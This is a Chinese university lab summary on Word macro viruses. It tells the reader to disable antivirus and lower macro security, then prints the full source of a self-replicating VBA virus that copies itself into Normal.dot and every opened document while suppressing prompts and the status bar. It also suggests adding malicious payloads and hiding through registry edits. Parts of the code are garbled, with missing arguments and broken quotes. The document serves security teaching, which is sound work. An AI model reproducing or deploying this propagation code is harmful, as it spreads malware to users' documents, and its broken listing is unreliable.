宏病毒分析及清除实验总结.doc

宏病毒分析及清除实验总结 一、实验目的 ? 了解“宏病毒”机理； ? 掌握清除宏病毒的方法； ? 掌握采用“宏”和脚本语言进行编程的技术。 二、实验时数：2小时 三、实验环境 ? Windows000/2003/XP或更高级别的Windows操作系统； ? Office Word000/2003等字处理软件。 四、实验要求 ? 演示宏的编写； ? 理解宏病毒的作用机制。 五、实验步骤： 1．软件设置 关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目的访问”。 注意：为了保证该实验不至于造成较大的破坏性，进行实验感染后，被感染终端不要打开过多的word文档，否则清除比较麻烦。 2．自我复制功能演示 打开一个word文档，然后按Alt+F11调用宏编写窗口,在左侧的“project—Microsoft Word”对象“ThisDocument”中输入以下代码，保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot和当前文档的ThisDocument中，同时改变函数名，此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。 完整代码如下： ‘Macro-1：Micro-Virus Sub Document_Open On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Set ourcodemodule = ThisDocument.VBProject.VBComponents.CodeModule Set host = NormalTemplate.VBProject.VBComponents.CodeModule If ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents.CodeModule End If With host If .Lines “‘Micro-Virus” Then .DeleteLines 1, .CountOfLines .InsertLines 1, ourcodemodule.Lines .ReplaceLine, “Sub Document_Close” If ThisDocument = NormalTemplate Then .ReplaceLine, “Sub Document_Open” ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox “MicroVirus by Content Security Lab” End Sub 以上代码的基本执行流程如下： 1) 进行必要的自我保护: Application.DisplayStatusBar = False Options.SaveNormalPrompt = False 高明的病毒编写者其自我保护将做得非常好，可以使word的一些工具栏失效，例如将工具菜单中的宏选项屏蔽，也可以修改注册表达到很好的隐藏效果。 本例中只是屏蔽状态栏，以免显示宏的运行状态，并且修改公用模板时自动保存，不给用户提示。 2) 得到当前文档的代码对象和公用模板的代码对象: Set ourcodemodule = ThisDocument.VBProject.VBComponents.CodeModule Set host = NormalTemplate.VBProject.VBComponents.CodeModule If ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents.CodeModule End